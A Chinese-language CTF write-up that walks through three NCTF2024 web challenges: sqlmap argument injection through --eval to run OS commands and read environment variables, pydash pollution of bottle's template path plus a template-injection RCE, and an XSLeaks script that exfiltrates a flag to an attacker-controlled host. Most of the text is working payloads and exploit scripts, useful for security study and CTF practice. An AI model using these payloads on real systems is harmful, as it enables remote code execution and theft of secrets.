NCTF2024复现
sqlmap-master
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
from fastapi import FastAPI, Request
from fastapi.responses import FileResponse, StreamingResponse
import subprocess
app = FastAPI()
@app.get("/")
async def index():
return FileResponse("index.html")
@app.post("/run")
async def run(request: Request):
data = await request.json()
url = data.get("url")
if not url:
return {"error": "URL is required"}
command = f'sqlmap -u {url} --batch --flush-session'
def generate():
process = subprocess.Popen(
command.split(),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
shell=False
)
while True:
output = process.stdout.readline()
if output == '' and process.poll() is not None:
break
if output:
yield output
return StreamingResponse(generate(), media_type="text/plain")
|
由于shell=False
不能进行常规的命令注入
但是仔细观察可以发现我们还是可以控制 sqlmap 的参数, 即参数注⼊
查看GTFOBins: https://gtfobins.github.io/gtfobins/sqlmap/

可以用eval参数来执行python代码
由于shell设置为false我们不能用单双引号,不然就变成eval字符串了
payload
1
|
127.0.0.1:8000 --eval __import__('os').system('env')
|
1
|
127.0.0.1 --eval=print(__import__('os').popen('env').read())
|
或者用转编码的方式
1
|
127.0.0.1:8000 --eval exec(bytes.fromhex('5F5F696D706F72745F5F28276F7327292E73797374656D2827656E762729'))
|
1
|
127.0.0.1:8000 --eval=exec(__import__('base64').b64decode('aW1wb3J0IG9zOyBwcmludChvcy5nZXRlbnYoJ0ZMQUcnKSk='))
|
或者-c参数读环境变量

1
|
127.0.0.1:8000 -c /proc/self/environ
|
ez_dash&ez_dash_revenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
'''
Hints: Flag在环境变量中
'''
from typing import Optional
import pydash
import bottle
__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","func","render",
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))
def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True
@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"
@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
return "Hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)
|
预期是利用pydash实现污染bottle.TEMPLATE_PATH,读取环境变量
但是最后只过滤bottle的花括号,上次ghctf用<% %>
绕过过滤,这里同样可以,实现非预期了
因为题目上来就是404,打abort回显
1
2
3
4
|
<% from bottle import abort
from subprocess import getoutput
a=getoutput("env")
abort(404,a) %>
|
1
2
3
|
/render?path=
<%%20from%20bottle%20import%20abort%0afrom%20subprocess%20import%20getoutput%
0aa=getoutput("env")%0aabort(404,a)%20%>
|
预期解
正常来说render路由只会渲染文件,不能渲染字符串
我们跟进bottle.template
函数看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
def template(*args, **kwargs):
"""
Get a rendered template as a string iterator.
You can use a name, a filename or a template string as first parameter.
Template rendering arguments can be passed as dictionaries
or directly (as keyword arguments).
"""
tpl = args[0] if args else None
for dictarg in args[1:]:
kwargs.update(dictarg)
adapter = kwargs.pop('template_adapter', SimpleTemplate)
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
tplid = (id(lookup), tpl)
if tplid not in TEMPLATES or DEBUG:
settings = kwargs.pop('template_settings', {})
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings: TEMPLATES[tplid].prepare(**settings)
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
return TEMPLATES[tplid].render(kwargs)
|
可以发现如果tpl
如果含有\n、{、%、$
的能够加入TEMPLATES[tplid]
,后续能够直接渲染它,否则会将其作为模板的名字,尝试寻找对应的模板文件渲染,而tpl
是我们传入的第一个参数
它会根据TEMPLATE_PATH
里去找到:
1
2
3
4
|
TEMPLATE_PATH = ['./', './views/']
TEMPLATES = {}
DEBUG = False
NORUN = False # If set, run() does nothing. Used by load_app()
|
跟进lookup找到一个search方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
@classmethod
def search(cls, name, lookup=None):
""" Search name in all directories specified in lookup.
First without, then with common extensions. Return first hit. """
if not lookup:
raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")
if os.path.isabs(name):
raise depr(0, 12, "Use of absolute path for template name.",
"Refer to templates with names or paths relative to the lookup path.")
for spath in lookup:
spath = os.path.abspath(spath) + os.sep
fname = os.path.abspath(os.path.join(spath, name))
if not fname.startswith(spath): continue
if os.path.isfile(fname): return fname
for ext in cls.extensions:
if os.path.isfile('%s.%s' % (fname, ext)):
return '%s.%s' % (fname, ext)
|
它会去搜索TEMPLATE_PATH
下的文件(应该),理论上只需要污染TEMPLATE_PATH
就能够做到任意文件读取
但是高版本的pydash不能直接通过__globals__
去获得bottle
,在pydash 5.1.2
版本中能够使用__globals__
,但是高版本下已经被修复了,现在会报access to restricted key __globals__
因此我们要想办法绕过restricted key
去查看源码,在helpers.py下面找到
1
2
3
4
|
def _raise_if_restricted_key(key):
# Prevent access to restricted keys for security reasons.
if key in RESTRICTED_KEYS:
raise KeyError(f"access to restricted key {key!r} is not allowed")
|
可以发现该异常只有输入在RESTRICTED_KEYS
中的内容时才会触发
又看到这一行
1
|
RESTRICTED_KEYS = ("__globals__", "__builtins__")
|
理论上可以通过pydash自己污染掉RESTRICTED_KEYS
从而使用globals:
1
2
3
4
|
{
"path":"helpers.RESTRICTED_KEYS",
"value":[]
}
|
污染成功后再污染TEMPLATE_PATH
即可:
1
2
3
4
5
6
7
8
|
{
"path":"__globals__.bottle.TEMPLATE_PATH",
"value":[
"./",
"./views/",
"/proc/self"
]
}
|
或者直接
1
2
3
4
5
6
|
{
"path":"__globals__.bottle.TEMPLATE_PATH",
"value":[
"/proc/self"
]
}
|
最后用render路由渲染environ就行了
用bp一步步改可以,注意下面传参是json格式



或者直接上脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
import requests,re
url = "http://39.106.16.204:55285/"
a1 = requests.post(url+"setValue?name=pydash",json={"path": "helpers.RESTRICTED_KEYS","value":[]})
print(a1.text)
a2 = requests.post(url+"setValue?name=setval",json={"path": "__globals__.bottle.TEMPLATE_PATH","value":["/proc/self"]})
print(a2.text)
a3 = requests.get(url+"/render?path=environ")
print(a3.text)
pattern = r'NCTF\{[0-9a-fA-F-]+\}'
match = re.search(pattern, a3.text)
if match:
print("找到的FLAG:", match.group())
else:
print("未找到FLAG")
|
internal_api
题目给了hint
1
2
|
注意 search 路由查询成功和失败 (Ok 和 Err) 时返回的 HTTP 状态码
XSLeaks
|
附件是一个rust写的search api
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
pub async fn private_search(
Query(search): Query<Search>,
State(pool): State<Arc<DbPool>>,
ConnectInfo(addr): ConnectInfo<SocketAddr>,
) -> Result<Json<Vec<String>>, AppError> {
// 以下两个 if 与题目无关, 你只需要知道: private_search 路由仅有 bot 才能访问
// 本地环境 (docker compose)
let bot_ip = tokio::net::lookup_host("bot:4444").await?.next().unwrap();
if addr.ip() != bot_ip.ip() {
return Err(anyhow!("only bot can access").into());
}
// 远程环境 (k8s)
// if !addr.ip().is_loopback() {
// return Err(anyhow!("only bot can access").into());
// }
let conn = pool.get()?;
let comments = db::search(conn, search.s, true)?;
if comments.len() > 0 {
Ok(Json(comments))
} else {
Err(anyhow!("No comments found").into())
}
}
|
/internal/search
路由仅允许 bot 访问, 同时其 db::search
的第三个参数传入了 true, 代表允许搜索 hidden comments (flag)
如果能搜到 comments, 返回 OK()
(200), 否则返回 Err()
(500)
我们要让bot去访问private_search查询flag,另外一个路由/report
派上了用场,/report
能够让bot去访问你提供的一个链接,因此可以尝试通过report
来访问private_search
xsleaks可以用于探测用户敏感信息,可以使用的场景较少,需要满足:
- 页面存在xss
- 不同用户查询的结果集不同,并且有一个类似flag的字符串
- 网站存在一个模糊查找功能
- 构成二元结果并且能够成功探测到
而题目中满足的条件有:
环境出网,bot可以访问自己的vps链接,可以导致xss
admin可以查到flag,而我们只能够查到普通评论
查询成功时状态码是200,不存在该结果时返回结果500(题目提示的注意http状态码,可以通过burp抓包查询简单看到)
存在模糊查询(具体看SQL语句有LIKE进行模糊匹配)
这是一个很经典的 XSLeaks 题目, 根据 https://xsleaks.dev/, 结合以上不同的 HTTP 状态码, 可以利用 onload 和 onerror 事件 leak flag
1
|
查询成功200,查询失败500,可以通过onload,onerror事件区分,onload时能够fetch自己的vps发送请求带出flag(类似盲注的思路)
|
写一个html的exp在vps上起一个服务,然后vps起个监听(要用python的监听)
1
|
python3 -m http.server 2333
|
在题目的report路由访问vps下的html文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<script>
function probeError(flag) {
let url = 'http://127.0.0.1:8000/internal/search?s=' + flag;
let script = document.createElement('script');
script.src = url;
script.onload = () => {
fetch('http://47.122.53.248:2333/?flag=' + flag, { mode: 'no-cors' });
leak(flag);
script.remove();
};
script.onerror = () => script.remove();
document.head.appendChild(script);
}
let dicts = 'abcdefghijklmnopqrstuvwxyz0123456789-{}';
function leak(flag) {
for (let i = 0; i < dicts.length; i++) {
let char = dicts[i];
probeError(flag + char);
}
}
leak('nctf{');
</script>
|
